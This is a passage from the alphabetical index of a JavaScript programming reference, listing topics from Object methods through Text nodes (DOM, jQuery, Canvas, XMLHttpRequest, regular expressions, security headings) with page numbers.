getPrototypeOf( ) function, 135, 817
hasOwnProperty( ) method, 125, 817
isExtensible( ) function, 137, 818
isFrozen( ) function, 137, 819
isPrototypeOf( ) method, 135, 819
isSealed( ) function, 820
keys( ) function, 128, 821
methods, 138, 809
preventExtensions( ) function, 137, 821
propertyIsEnumerable( ) method, 125, 822
prototype property, 118
seal( ) function, 137, 823
static methods, 809
toLocaleString( ) method, 139, 823
toString( ) method, 139, 824
valueOf( ) method, 140, 825
object creation expressions, 61
object databases, 705
<object> elements, 537
displaying SVG images, 622
object literals, 117
object types, 29
Object( ) function, type conversions with, 47
object-oriented programming
favoring composition over inheritance, 233
separating interface from implementation, 234
strongly typed languages, 199
object-oriented techniques in JavaScript, 215
borrowing methods, 224
constructor overloading and factory methods, 227
emulating private instance fields, 226
enumerated types (example), 217–219
implementing comparison methods in classes, 221–224
Set class (example), 215–217
standard conversion methods, 219
objects, 5, 115–140
array-like, 158
arrays of, 141
attributes of, 116, 135–138
class attribute, 136
extensible attribute, 137
prototype attribute, 135
callable, 191
conversion to primitives, 49–52
conversion to strings, 672
conversion to strings for Ajax, 559
conversions, 45
creating, 116–119
using new operator, 117
using object literals, 117
using Object.create( ) function, 118
using prototypes, 118
deleting properties, 124
determining class of, 210
using constructor name as class identifier, 211
using constructor property, 211
using duck-typing, 213
using instanceof operator, 210
enumerating properties, 126–128
form-encoding properties for HTTP request, 502
global object, 42
initializers, 58
instanceof operator, 75
iterable, 275
iterating through properties with jQuery.each( ) function, 572
Java, querying and setting fields in Rhino, 291
jQuery, 527
methods, 7, 163
universal, 138
mutable object references, 44
properties, 115
property access expressions, 60
property attributes, 131–134
property getters and setters, 128–130
querying and setting properties, 120–124
inheritance and, 122
objects as associative arrays, 120
property access errors, 123
serializing, 138
structured clones of, 672
testing properties, 125
wrapper, 43
XML, 284
octal values, 32
offline web applications, 588, 608–612
application storage and, 601
events, 455

offset properties, document elements, 394
offset( ) method, jQuery, 534
offsetHeight and offsetWidth properties, Element object, 394, 905
offsetLeft and offsetTop properties, Element object, 394, 905
offsetParent property, Element object, 395, 905
offsetParent( ) method, jQuery, 535
offsetX and offsetY properties, Event object, 917
oldURL property, HashChangeEvent object, 935
oldValue property, StorageEvent object, 988
onbeforeunload event handler, windows, 462
onchange attribute, 315
onchange event handlers
  text fields, 403
  toggle buttons in forms, 402
onclick event handlers, 316
  button elements in forms, 401
ondragstart event handler, 476
one( ) method, jQuery, 545
onerror property
  Window object, 351, 450
    setting to a function, 321
  WorkerGlobalScope object, 683
onhashchange property, Window object, 672
onLine property
  Navigator object, 348, 974
  WorkerNavigator object, 1012
onload event handlers, 318
  in client-side script revealing content, 309
  in digital clock program, 312
onload( ) function, defining (example), 322
onmessage event handlers, 336
onmessage property, WorkerGlobalScope, 682
onmousedown attribute, element, 471
onreadystatechange property, XMLHttpRequest object, 499, 1013, 1017
onreset event handlers, form elements, 400
onstorage property, Window objects, 592
onsubmit event handlers, form elements, 400
ontimeout property, XMLHttpRequest object, 510
opacity property, 428, 551
  animating, 552, 556
  animating changes for fadeable elements, 435
open( ) method
  Document object, 897
  Window object, 354, 1006
    javascript:URL as argument, 315
  XMLHttpRequest object, 1015
opener property, Window object, 356, 1003
opening and closing tags of elements, 379
opening and closing windows, 354–356
  closing windows, 356
OpenSocial API, 268
Opera, 455
  (see also web browsers)
  current version, 327
  global compositing approach, 659
operating systems
  drag-and-drop operations based on, 454
  web browsers as, 310
operators, 5, 57, 62–66
  + (addition or string concatenation) operator, 67
  arithmetic, 66
  assignment, 78
  associativity, 65
  bitwise, 69
  comparison, 73
  conditional (?:), 82
  delete, 84
  equality and inequality, 71
  in, 74
  instanceof, 75
  list of JavaScript operators, 62
  logical AND (&&), 75
  logical NOT (!), 77
  logical OR (||), 76
  lvalues, 64
  number of operands, 64
  operand and result type, 64
  order of evaluation, 66
  precedence, 65
  side effects, 64, 88
  typeof, 82
  unary arithmetic operators, 68
  void, 85
optimum property, Meter object, 973
<option> elements, 938
Option object, 404, 980
options property, Select element, 986

orientation property, Window object, 456
orientationchanged event, 456
origin of a document, 334, 590
origin property, MessageEvent object, 677, 971
Origin: request header, 335
originalEvent property, Event object, 544
outerHeight and outerWidth properties, Window object, 1003
outerHTML property, Element object, 379, 905
  implementing using innerHTML, 384
outerWidth( ) and outerHeight( ) methods, jQuery, 535
Output object, 981
overflow, 33
overflow property, 428, 451
overflowing content, scrollable elements in documents, 396
overlapping translucent windows (CSS example), 429–431
overloading constructors, 227
overrideMimeType( ), XMLHttpRequest object, 501, 1016
own properties, 116
ownerDocument property, Node object, 977
ownerNode property, CSSStyleSheet object, 887
ownerRule property, CSSStyleSheet object, 887

P

padded-JSON (see JSONP)
padding
  in CSS box model, 424
  specifying for elements with CSS, 423
padding property, 416
PageTransitionEvent object, 981
pageX and pageY properties, Event object, 917
  in jQuery, 543
pageXOffset and pageYOffset properties, Window object, 391, 1003
paragraph separators, 22
param( ) function, 562
parameters (function), 163, 171
  optional, 171
parent property, 356
  Window object, 1003
parent window, 354
parent( ) and parents( ) methods, jQuery, 581
parentNode property, Node object, 371, 977
parentRule property, CSSRule object, 885
parentStyleSheet property
  CSSRule object, 886
  CSSStyleSheet object, 887
parentsUntil( ) method, jQuery, 581
parse( ) function, 138, 786
parse( ) method, Date object, 752
parseFloat( ) function, 49, 826
parseInt( ) function, 49, 827
parseJSON( ) function, 573
partial application of functions, 188, 194–196
path attribute, cookies, 594
  setting, 596
pathname property
  Link object, 963
  Location object, 343, 965
  WorkerLocation object, 1012
paths
  canvas, 631
    beginPath( ) method, 873
    closePath( ) method, 874
    creating and rendering, 867
    curved paths, 643
    defining, 632
    determining if point is on, 877
    determining whether point is in, 635
    line drawing attributes, 648
    testing if mouse event is over current path, 662
  SVG, 627
pattern matching, 39
  (see also regular expressions)
  string methods for, 259
pattern property, Input object, 944
patternMatch property, FormValidity object, 932
patterns
  fill or stroke using, 647, 867
  specifying for fill or stroke in canvas, 647
pause( ) method, MediaElement object, 617, 970
paused property, MediaElement object, 967
period (.) (see . (dot), under Symbols)
persisted property, PageTransitionEvent object, 982
persistent filesystem, 700

PI constant (Math), 797
pie chart, drawing with JavaScript and SVG, 624–627
pipeline of generators, 279
pixelDepth property, Screen object, 984
pixels
  compositing in canvas, 657–660, 869
  enlarged withdrawImage( ) in canvas, 656
  manipulation in canvas, 661–662, 870
  testing if mouse event is over painted pixel in canvas, 663
placeholder attribute, text fields, 402
placeholder property, Input object, 944
platform property
  Navigator object, 347, 974
  WorkerNavigator object, 1012
play( ) method, MediaElement object, 617, 970
playbackRate property, MediaElement object, 618, 967
played property, MediaElement object, 619, 967
plug-ins
  scripting in browsers, security implications, 336
plugins property
  Document object, 893
  HTMLDocument object, 367
PNG image format, canvas content returned in, 656
point, determining element at, 393
polygons, drawing with Canvas methods, 633
pop ups, blocking by browsers, 355
pop( ) method, Array object, 151, 731
popstate events, 672
PopStateEvent object, 982
port property
  Link object, 963
  Location object, 343, 965
  WorkerLocation object, 1012
port1 and port2 properties, MessageChannel object, 971
ports property, MessageEvent object, 971
position property, 420
  Progress object, 983
position( ) method, jQuery, 535
positioning elements
  CSS box model, 424
  CSS example, shadowed text, 422
  document and element geometry and scrolling, 390–396
  getting and setting element geometry in jQuery, 534
  handling mousewheel events (example), 472–475
  using CSS, 420–423
positive infinity, 33, 804
positive lookahead assertions in regular expressions, 258
POSIX (Unix) API, use in Node, 289
POST method, 496
  encoding HTTP request body with XML document, 504
  file upload with HTTP request, 505
  making HTTP request with form-encoded data, 503
  making HTTP request with JSON-encoded body, 504
  posting plain text to a server, 497
  request body, 497
post( ) function, 563
poster property, Video object, 998
postMessage( ) method
  MessagePort object, 972
  Window object, 336, 677, 1006
    Twitter search gadget controlled by, 678–680
  Worker object, 681, 1008
  WorkerGlobalScope object, 1010
pow( ) function, Math object, 798
precedence, operator, 65
precision for numbers, 807
prefix property
  Attr object, 862
  Element object, 905
preload property, MediaElement object, 618, 967
prepend( ) method, jQuery, 538
prependTo( ) method, jQuery, 538
prev( ) method, jQuery, 581
prevAll( ) method, jQuery, 581
preventDefault( ) method, Event object, 464, 548, 919
preventExtensions( ) function, 137, 821
previousElementSibling, Element object, 373, 905
previousSibling property, Node object, 371, 977

prevUntil( ) method, 581
primary expressions, 57
primitive types, 29
conversion of JavaScript primitives to Java, 290, 293
conversions to other types, 46
immutable primitive values and mutable object references, 44
object to primitive conversions, 49–52
print( ) function (Rhino), 290
print( ) method, Window object, 1006
printing
beforeprint and afterprint events, 455
defining jQuery.fn.println( ) function, 583
private properties, 208
emulating private instance fields in JavaScript, 226
procedures, 166
processData option, 562
ProcessImageInstruction object, 982
ProcessingInstruction object, creating, 895
profile( ) method
Console object, 883
ConsoleCommandLine object, 884
profileEnd( ) method
Console object, 883
ConsoleCommandLine object, 884
programs, JavaScript, 317
progress events, 455, 498, 507–510
HTTP, 507
upload, 508
XMLHttpRequest Level 2 (XHR2), 1017
Progress object, 982
ProgressEvent object, 983
prompt( ) method, Window object, 348, 1006
propagation of events (see events, event propagation)
properties
attributes of, 116, 131–134
class, 199
computed style, 436
converting HTML attribute names to, 376
CSS style properties, 414
dataset attributes converted to, 377
defined, 115
deleting, 124
enumerating, 126–128
event handler, 457
mirroring HTML attributes, 315
naming convention, 321
form and form element, 399
function, 186
Function object, defining your own, 178
functions assigned to, 176
getters and setters, 128–130
global, 781
HTMLElement, mirroring HTML element attributes, 375
important CSS style properties, 419
inherited, checking for, 817
iterating through, with for/in loops, 100
enumeration order, 101
making nonenumerable, 238
names and values, 117
naming conventions for CSS properties in JavaScript, 431
nonstandard CSS properties, 416
Object.defineProperties( ) method, 812
private, in Java-style classes, 208
property names versus array indexes, 143
prototype, inheritance of, 118
querying and setting, 120–124
access errors, 123
inherited properties, 122
objects as associative arrays, 120
shortcut properties in CSS, 416
special, restriction in secure subsets, 267
testing, 125
using as function arguments, 174
variables as, 55
property access expressions, 60
method invocations, 168
precedence, 65
property descriptors, 131, 815
ECMAScript 5 properties utilities, 244–246
getting for named property of an object, 131
utility functions for, 239
propertyIsEnumerable( ) method, 125, 822
__proto__ property, 136
protocol property
Link object, 963
Location object, 343, 965
WebSocket object, 714, 1000
WorkerLocation object, 1012
prototype attribute, 135
prototype chain, 118

Prototype framework, Scriptaculous library, 435
Prototype library, 338
prototype property
Function object, 780
functions, 186
restrictions in secure subsets, 267
prototypes, 118, 205, 384, 811
adding methods to augment classes inheriting from, 208
Array.prototype, 141
classes and, 200
constructor function, 203
constructor property and, 204
constructor, used as prototype of new object, 201
defined, 116
duck-typing and, 213
inheritance and, 115
jQuery.fn, 583
making nonextensible, 242
in multiple, interacting windows, 359
Object.getPrototypeOf( ) method, 817
Object.isPrototypeOf( ) method, 819
proper initialization, key to subclassing, 229
testing prototype chain of an object, 210
proxy objects, 359
proxy( ) function, 573
pseudo-class filters, 584
publicId property, DocumentType object, 899
push buttons, 401
push( ) method, Array object, 151, 731
adding elements to end of array, 145
pushStack( ) method, jQuery, 582
pushState( ) method, History object, 672, 936
history management with (example), 673–676
PUT method, 609
putImageData( ), CanvasRenderingContext2D, 661, 878

Q

quadraticCurveTo( ), CanvasRenderingContext2D, 643, 878
queryCommandEnabled( ), Document object, 410, 897
queryCommandIndeterminate( ), Document object, 897
queryCommandState( ), Document object, 410, 897
queryCommandSupported( ), Document object, 410, 897
queryCommandValue( ), Document object, 897
querySelector( ) method, 370
Document object, 897
Element object, 908
querySelectorAll( ) method, 370
Document object, 440, 898
$( ) function versus, 529
Element object, 908
selecting form elements, 398
queue( ) method, jQuery, 558
queues, jQuery animation, 552
canceling, delaying, and queuing effects, 557
queue property, animation options object, 555
quirks mode, 330, 425
HTML document display, 369
quotation marks (see under Symbols section)

R

radial gradients, 647, 875
radians, specifying for angles in Canvas API, 638
<radio> elements, 402
random( ) function, Math object, 798
Range object, 408
RangeError object, 828
rangeOverflow property, FormValidity object, 932
rangeUnderflow property, FormValidity object, 932
read operations, 925
(see also FileReader object)
events triggered on XMLHttpRequest or FileReader, 455
readAsArrayBuffer( ) method
FileReader object, 698, 699, 926
FileReaderSync object, 927
readAsBinaryString( ) method
FileReader object, 698, 926
FileReaderSync object, 927
readAsDataURL( ) method

FileReader object, 698, 926
FileReaderSync object, 927
readAsText( ) method
FileReader object, 698, 926
FileReaderSync object, 927
readOnly property, Input object, 944
readyState property
Document object, 323, 465, 894
EventSource object, 921
FileReader object, 698, 925
MediaElement object, 619, 965, 968
WebSocket object, 999
XMLHttpRequest object, 498, 1013
values, 498
readystatechange events, 465, 499
Really Simple History (RSH) library, 346
rect( ) method
CanvasRenderingContext2D, 878
rect( ), CanvasRenderingContext2D, 645
rectangles
clearRect( ) method, 874
ClientRect objects, 880
drawing in canvas, 645, 868
fillRect( ) method, 876
reduce( ) method, Array object, 155, 192, 732
reduceRight( ) method, Array object, 155, 733
by reference, object comparisons, 45
reference types, 45
ReferenceError objects, 56, 829
references, 45
references to previous subexpression of regular expression, 256
referrer property, Document object, 405, 894
RegExp class, 30
toString( ) method, 50
RegExp object, 39, 251, 261, 829–835
as callable object, 191
exec( ) method, 262, 585, 831
instance properties, 830
lastIndex property, 833
properties, 262
source property, 833
test( ) method, 263, 834
toString( ) method, 834
registerContentHandler( ), Navigator object, 975
registering event handlers, 320, 457–460
advanced event handler registration with jQuery, 544
deregistering event handlers with jQuery, 546
for HTTP progress events, 507
for load and click events, 11
setting event handler attributes, 457
setting event handler properties, 457
simple event handler registration with jQuery, 540
using addEventListener( ), 458
registerProtocolHandler( ), Navigator object, 975
regular expressions, 39, 251–263
defining, 251
alternation, grouping, and references, 256
character classes, 253
flags, 259
literal characters, 252
repetition, 254
specifying match position, 257
RegExp objects, 261–263
string methods using, 259–261
relatedTarget property, Event object, 452, 543, 917
relational databases, 705
relational expressions, 71
comparison operators, 73
equality and inequality operators, 71
in operator, 74
instanceof operator, 75
relational operators, object-to-primitive conversions with, 51
relative positioning of elements, 420
relative URLs, 344
relative values for numeric properties' animation, 554
relLIst property, Link object, 963
reload( ) method, Location object, 344, 965
remove( ) method
DOMTokenList object, 438, 902
jQuery, 540
Select element, 987
removeAttr( ) function, 531
removeAttribute( ), Element object, 377, 908
removeAttributeNS( ), Element object, 908
removeChild( ) method, Node object, 384, 979
removeClass( ) method, jQuery, 532
removeData( ) method, jQuery, 536

removeEventListener( ) method
Document object, 459
EventTarget object, 922
Worker object, 681
WorkerGlobalScope object, 683
removeItem( ) method, Storage object, 988
repeat property, Event object, 920
repetition in regular expressions, 254
nongreedy, 255
replace( ) method
Location object, 344, 965
String object, 260, 844
replaceAll( ) method, jQuery, 538
replaceChild( ) method, Node object, 384, 979
replaceData( ) method
Comment node, 881
Text node, 993
replaceState( ) method, History object, 673, 937
replaceWholeText( ), Text node, 994
replaceWith( ) method, jQuery, 537
requests and responses (HTTP), 495
aborting requests and timeouts, 510
decoding the response, 500
encoding request body, 502–507
getting onreadystatechange response, 499
order of request parts, 497
response components, 498
specifying the request, 495
synchronous responses, 499
required property
Input object, 944
Select element, 986
reserved words, 24
CSS properties having reserved word in name, 432
HTML attribute names, 376
primary expressions, 58
using as property names, 117
querying and accessing the properties, 120
reset( ) method, Form object, 400, 929
resize events, windows, 451
resize( ) method, jQuery, 541
response property, XMLHttpRequest object, 1014
responseText, XMLHttpRequest object, 501, 1014
parsing response, 500
responseType, XMLHttpRequest object, 1014
responseXML property, XMLHttpRequest objects, 501
responseXML, XMLHttpRequest object, 500, 1014
restore( ), CanvasRenderingContext2D, 636, 878
restricted features in browsers, 333
result property
Event object, 542, 544
FileReader object, 698, 925
return keyword, use by constructor functions, 170
return statements, 61, 105, 166
line break interpreted as semicolon, 26
use by generator functions, 277
return values
event handler, 462
jQuery event handler functions, 542
setting returnValue property of event to false, 464
returnValue property
BeforeUnloadEvent object, 863
Event object, 464, 917
Window object, 1003
reverse( ) method, Array object, 149, 734
revokeObjectURL( ), method, URL object, 998
revokeObjectURL( ), URL object, 697
RGBA color space, 427
Rhino
JavaScript versions, 269
scripting Java with, 290–296
GUI (graphical user interface) example, 293–296
support for E4X, 283
support for JavaScript extensions, 265
rich-text editing functionality, 410
right and bottom style properties, 421, 425
right property, ClientRect object, 880
right, left, top, and bottom properties, 392
rollovers, image, 614
rotate( ), CanvasRenderingContext2D, 638, 878
rotation property, 456
rotations, 641
round( ) function, Math object, 798

rounding errors, binary floating-point numbers and, 35
rowIndex property, TableRow object, 992
rows property
Table object, 990
TableSection object, 992
rowSpan property, TableCell object, 991
RSH (Really Simple History) library, 346
rules, style, 414, 885
querying, inserting, and deleting in stylesheets, 441

S

\s (space) character in regular expressions, 254
Safari
current version, 327
gesture and touch events on iPhone and iPad, 456
JavaScript in URLs, 316
mouse, two-dimensional trackball, 471
textInput event, 453
same-origin policy, 334
Canvas objects, toDataURL( ) method, 657
filesystems and, 700
origin of a document, 590
preventing cookie swapping across sites, 595
relaxing, 335
sandbox attribute, <iframe> element, 337
sandbox property, IFrame object, 939
sandboxing systems, 267
save( ), CanvasRenderingContext2D, 636, 879
Scalable Vector Graphics (see SVG)
scale property, 456
scale( ), CanvasRenderingContext2D, 638, 879
scope, variable, 31, 53–56
closures, 180–185
cookies, 594
event handler functions, 461
function scope and hoisting, 54, 165
functions as namespaces, 178
IE userData, 600
JavaScript functions and, 163
nested functions, 166
scope chain, 55
sessionStorage, 592
storage scope, 589, 590
variables as properties, 55
variables defined with let keyword, 270
Worker threads, 682
WorkerGlobalScope object, 1009
scoped property, Style object, 989
Screen object, 348, 984
screen property, Window object, 348, 1003
screen readers, 332
screenX and screenY properties
Event object, 917
Window object, 1003
<script> elements, 309
Ajax transport with, 492
async and defer attributes, 319, 324
embedding JavaScript in HTML, 9, 312
HTTP by, JSONP, 513–515
HTTP scripting with, 501
src attribute, 313
text in, 381
type attribute, 314
Scriptaculous library, Prototype framework, 435
scripts
in external files, 313
jQuery.getScript( ) function, 561
Script object, 985
synchronous, asynchronous, and deferred, 318
type attribute, specifying MIME type, 314
scripts property, Document object, 367, 894
scroll offsets, 467
scroll properties, document elements, 395
scroll( ) method
jQuery, 541
Window object, 394, 1006
scrollbar positions of a window, 391
scrollBy( ) method, Window object, 394, 1006
scrollHeight and scrollWidth properties, Element object, 906
scrolling, 394
scroll events in windows, 451
scrollIntoView( ) method, Element object, 394, 908
scrollLeft and scrollTop properties, 391
Element object, 906
scrollLeft( ) method, jQuery, 536
scrollTo( ) method, Window object, 394, 1006
scrollTop( ) method, jQuery, 536

seal( ) function, 137, 823
sealed objects, 820
seamless property, IFrame object, 940
search property
Link object, 963
Location object, 343, 965
WorkerLocation object, 1012
search( ) method, String object, 259, 845
secure attribute, cookies, 595, 596
security, 333–338
client-side storage and, 589
cookie data and, 593
cross-origin HTTP requests, 511
cross-site scripting (XSS), 336
denial-of-service attacks, 338
same-origin policy, 334
scripting plug-ins and ActiveX controls, 336
scripts and, 513
subsets for, 267
features removed, 267
listing of important subsets, 268
toDataURL( ) method, Canvas objects, 657
what JavaScript can't do, 333
seekable property, MediaElement object, 619, 968
seeking property, MediaElement object, 968
Select element, 403, 986
select( ) method
Input object, 945
jQuery, 541
TextArea object, 995
selected property, Option object, 404, 981
selected text, querying in a document, 407
selectedIndex property
HTMLOptionsCollection object, 938
Select element, 404, 986
selectedOption property, Input object, 944
selectedOptions property, Select element, 987
selecting document elements, 364–371
by CSS class, 368, 369
document.all[ ] collection, 371
by id, 364
by name, 365
by type, 366
selection methods in jQuery, 578–582, 948
reverting to previous selection, 581
using selection as context, 580
Selection object, 408
selectionEnd property
Input object, 944
TextArea object, 994
selectionRowIndex, TableRow object, 992
selectionStart property
Input object, 944
TextArea object, 994
selector property, jQuery objects, 529
selectors
CSS, 369, 414
for style rules, 441
using to invoke jQuery( ) function, 526
jQuery, 574–578, 946
combinations of, 577
filters for, 575–577
groups, 578
selecting part of document to display with jQuery, 559
Selectors API, 370
selectorText property, CSSRule object, 886
self property
Window object, 1003
WorkerGlobalScope object, 683, 1009
self variable, using with nested functions, 169
self-referential Window objects, 356
send( ) method
generators, 280
WebSocket object, 1000
XMLHttpRequest object, 497, 1016
serialize( ) method, 562
serializing objects, 138, 677
example, JSON.stringify( ) function, 789
Server-Sent Events, 515–521
custom chat server, 519
emulating EventSource with XMLHttpRequest, 517–519
simple chat client using EventSource, 516
server-side JavaScript, 289–304
asynchronous I/O with Node, 296–304
scripting Java with Rhino, 290–296
sessionStorage property, Window objects, 589, 1004
cookies versus, 594
storage API, 591
storage events, 592
storage lifetime and scope, 590
set( ) method, TypedArray object, 689, 997
setAttribute( ) method, Element object, 908

setAttributeNS( ) method, Element object, 909
setCapture( ) method (IE), 468
setCustomValidity( ), FormControl object, 931
setData( ), DataTransfer object, 476, 889
setDate( ) method, Date object, 753
setDragImage( ), DataTransfer object, 476, 889
setFloat32( ) method, DataView object, 890
setFloat64( ) method, DataView object, 891
setFullYear( ) method, Date object, 753
setHours( ) method, Date object, 754
setInt16( ) method, DataView object, 891
setInt32( ) method, DataView object, 891
setInt8( ) method, DataView object, 891
setInterval( ) function, 297, 322
setInterval( ) method
  use in malicious code, 338
  Window object, 342, 1007
  WorkerGlobalScope object, 1010
setItem( ) method, Storage object, 988
setMilliseconds( ) method, Date object, 754
setMinutes( ) method, Date object, 755
setMonth( ) method, Date object, 755
setRequestHeader( ), XMLHttpRequest, 496
setRequestHeader( ), XMLHttpRequest object, 1016
sets, Set class (example), 215–217
setSeconds( ) method, Date object, 756
setSelectionRange( ), Input object, 945
setSelectionRange( ), TextArea object, 995
setTime( ) method, Date object, 756
setTimeout( ) function, 297, 322
  implementing timeouts for XMLHttpRequest, 510
setTimeout( ) method
  Window object, 308, 342, 1007
  WorkerGlobalScope object, 1010
setTransform( ), CanvasRenderingContext2D, 638, 641, 879
setUTCDate( ) method, Date object, 757
setUTCFullYear( ) method, Date object, 757
setUTCHours( ) method, Date object, 758
setUTCMilliseconds( ) method, Date object, 758
setUTCMinutes( ) method, Date object, 759
setUTCMonth( ) method, Date object, 759
setUTCSeconds( ) method, Date object, 760
setVersion( ) method, IndexedDB objects, 707
setYear( ) method, Date object, 760
seUint16( ) method, DataView object, 891
seUint18( ) method, DataView object, 891
seUint32( ) method, DataView object, 891
shadowBlur property, 653, 872
shadowColor property, 653, 872
shadowed text, CSS positioning example, 422
shadowOffsetX and shadowOffsetY properties, 653
shadowOffsetX and shadowOffsetY, CanvasRenderingContext2D, 872
shadows, drawing in canvas, 653, 869
shaking an element side to side (animation example), 433–435
shared workers, 684
shear transforms, 641
sheet property, Link object, 963
sheet property, Style object, 989
shift( ) method, Array object, 146, 152, 734
shiftKey property, Event object, 451, 467, 485, 917
shortcut properties in CSS, 416
  corresponding properties in CSSStyleDeclaration object, 432
show( ) method, jQuery, 553
showModalDialog( ), Window object, 349, 1007
sibling properties, Element object, 372
side effects
  case expressions containing, 96
  expressions with, 87
  operator, 64
Sieve of Eratosthenes algorithm, 688
sin( ) function, Math object, 799
size of elements, setting with CSS properties, 421
size property
  Blob object, 863
  Input object, 944
  Select element, 986
Sizzle library, 370
slice( ) method
  Array object, 150, 735
  Blob object, 691, 695, 863
  jQuery, 579
  String object, 846
slideDown( ), slideUp( ), and slideToggle( ) methods, jQuery, 553

some( ) method, Array object, 154, 736
sort( ) method, Array object, 149, 737
functions as arguments, 177
sorting objects for comparison, 222
<source> elements, 615
source property
MessageEvent object, 677, 972
RegExp object, 833
sparklines, 377
drawing in canvas (example), 663–665
sparse arrays, 141, 144
speed property, Geocoordinates object, 933
spell-checking in browsers, 409
Spidermonkey
destructuring assignment, 272
JavaScript versions, 269
support for E4X, 283
support for JavaScript extensions, 265
splice( ) method, Array object, 151, 737
split( ) method
splitting cookie property into name/value pairs, 596
String object, 261, 847
splitText( ) method, Text node, 994
SQL databases, 705
sqrt( ) function, Math object, 799
SQRT1_2 constant (Math), 799
SQRT2 constant (Math), 800
src attribute, <script> element, 313
src property
IFrame object, 940
Image object, 941
MediaElement object, 968
Script object, 985
srcdoc property, IFrame object, 940
srcElement property, Event object, 917
standards mode, 330
HTML document display, 369
start( ) method
MessagePort object, 972
TimeRanges object, 996
startOffsetTime, MediaElement object, 968
state property
History object, 673
PopStateEvent object, 673, 982
state-change events, 449
statement blocks, 88
statements, 87–113
compound and empty, 88
conditional, 92
else if, 94
if, 92
switch, 95
control structure, in function body, 7
debugger, 110
declaration, 89
defined, 6
expression statements, 88
function declaration, 91, 164
jumps, 102
break statements, 103
continue statements, 104
labeled statements, 102
return statements, 105
throw statements, 106
try/catch/finally statements, 106
loops, 97
do/while loops, 98
for loops, 98
for/in loops, 100
while loops, 97
summary of, 112
terminating, optional semicolons and, 25
with statement, 108
static positioning of elements, 420
status codes, Ajax in jQuery, 560
status property
ApplicationCache object, 606
XMLHttpRequest object, 1014
statusText, XMLHttpRequest object, 1015
step property, Input object, 944
stepDown( ) method, Input object, 945
stepMismatch property, FormValidity object, 932
stepUp( ) method, Input object, 945
stop( ) method, jQuery, 557
stopImmediatePropagation( ), Event object, 465, 919
StopIteration exceptions, 275
thrown by generators' next( ) method, 278
stopPropagation( ), Event object, 464, 919
storage, 587
(see also client-side storage)
Storage object, 987
storageArea property, StorageEvent object, 988
StorageEvent object, 988
streaming API for innerHTML property, 407

streaming media, initialTime property, 619
streams, in Node, 298
strict equality operator (===), 71
strict inequality operator (!==), 71
strict mode, 111
    reserved words, 24
strictness
    event handlers defined in non-strict mode, 458
string concatenation operator (+), 67, 74
string literals, 36
    escape sequences in, 37
String( ) constructor, 43
String( ) function, type conversions with, 47
stringify( ) function, 138, 788
strings, 29, 36
    as arrays, 160
    comparisons, 44, 74
    conversions, 45, 47
        between JavaScript and Java, 293
        object to string, 50
    converting arrays to, 152
    encoding application state as, 672
    immutability of, 31
    methods for pattern matching, 259–261
        match( ) method, 260
        replace ( ) method, 260
        search ( ) method, 259
    object conversion to, for Ajax, 559
    parsing HTTP response, 500
    pattern matching, 39
    properties accessed with [ ] notation, 121
    String object, 835–852
        charAt( ) method, 838
        charCodeAt( ) method, 838
        concat( ) method, 839
        fromCharCode( ) method, 481, 839
        HTML methods, 836
        indexOf( ) method, 840
        lastIndexOf( ) method, 841
        length property, 842
        localeCompare ( ) method, 74
        localeCompare( ) method, 842
        match( ) method, 843
        methods, listed, 835
        replace( ) method, 844
        search( ) method, 845
        slice( ) method, 846
        split( ) method, 847
        static method, fromCharCode( ), 836
        substr( ) method (deprecated), 849
        substring( ) method, 849
        toLocaleLowerCase( ) method, 850
        toLocaleUpperCase( ) method, 851
        toLowerCase( ) method, 74, 851
        toSting( ) method, 851
        toUpperCase( ) method, 74, 852
        trim( ) method, 852
        valueOf( ) method, 852
    Unicode characters, codepoints, and, 36
    values in stylesheet or style attribute, 432
    working with, 38
    wrapper objects, 43
stroke
    colors, gradients, and patterns in Canvas, 645–648, 868
    defined, 879
    pattern and gradient stroke, 647
    unclipped, 652
stroke( ), CanvasRenderingContext2D, 633, 648, 879
strokeRect( ), CanvasRenderingContext2D, 645, 879
strokeStyle property, CanvasRenderingContext2D, 635, 872
strokeText( ), CanvasRenderingContext2D, 650, 879
strongly typed languages
    classes in, 199
    objects in, 120
structure and traversal (Document objects), 371–375
    documents as trees of elements, 372–375
    documents as trees of nodes, 371
structured clones, 672
<style> elements
    Element objects representing, 440
    enclosing CSS stylesheet in, 415
style attribute, 10
Style object, 989
style properties, 414
    combining using shortcut properties, 416
    important, 419
    units for settings, 432
style property, 308
    CSSRule object, 886
    Element object, 308, 431, 906

style rules, 414
styles, cascade of, 415
stylesheets, 440–443
associating with HTML documents, 415
creating new, 442
CSSStyleSheet object, 887
defined, 414
enabling and disabling, 440
querying, inserting, and deleting rules, 441
styleSheets property, Document object, 440, 441, 894
sub-statements, 89
subarray( ), TypedArray object, 689, 998
subclasses, 228
class hierarchies and abstract classes, 234–238
composition versus subclassing, 233
constructor and method chaining, 231–233
creating using ECMAScript 5 features, 243
defining, 229
subdomains, problems posed by same-origin policy, 335
submit( ) method
Form object, 400, 929
jQuery, 541
triggering events, 547
subpaths (Canvas), 632
subsets of JavaScript, 265–269
The Good Parts, 266
for security, 267
listing of important subsets, 268
substr( ) method (deprecated), String object, 849
substring( ) method, String object, 849
substringData( ) method
Comment node, 881
Text node, 994
support property, 574
SVG (Scalable Vector Graphics), 622–630
<canvas> element versus, 630
displaying time by manipulating image, 628
pie chart built with JavaScript, 624–627
<svg:path> elements, 627
swapCache( ), ApplicationCache object, 607, 860
switch statements, 95
case clauses, 96
synchronous event triggering in jQuery, 547
synchronous execution of scripts, 319
synchronous HTTP responses, 499
SyntaxError object, 852
raised in strict mode when deleting properties, 125
systemId property, DocumentType object, 899

T

Table object, 990
table of contents, generating for a document (example), 387–390
TableCell object, 991
TableRow object, 991
TableSection object, 992
tabs in browser windows, 353
tag names (XML), 285
tag names, getting elements by, 366
tagName property
Element object, 906
tan( ) function, Math object, 800
target property
Event object, 918
in jQuery, 543
events, 446
Form object, 399, 929
ProcessingInstruction object, 982
tBodies property, Table object, 990
temporary filesystem, 700
terminate( ) method, Worker object, 682, 1009
test expression (for loops), 98
test( ) method, RegExp object, 263, 834
text, 36–40
CharacterData methods for manipulating, 382
conversion to speech in screen readers, 332
drawing in canvas, 650, 869, 876
element content as plain text, 380
embedding arbitrary textual data using script element, 314
escape sequences in string literals, 37
pattern matching with regular expressions, 39
querying selected text in documents, 407
reading text files with FileReader, 698
in <script> elements, 381
string literals, 36
text fields in forms, 402

working with strings, 38
Text and Textarea elements, forms, 400
text input events, 481–484
filtering user input (example), 482–484
support for, DOM Events specification, 453
using propertychange event to detect, 484
Text nodes, 371, 993
creating, 382
element content as, 381
text property
HTMLElement object, 314
Link object, 963
Option object, 404, 981
Script object, 985
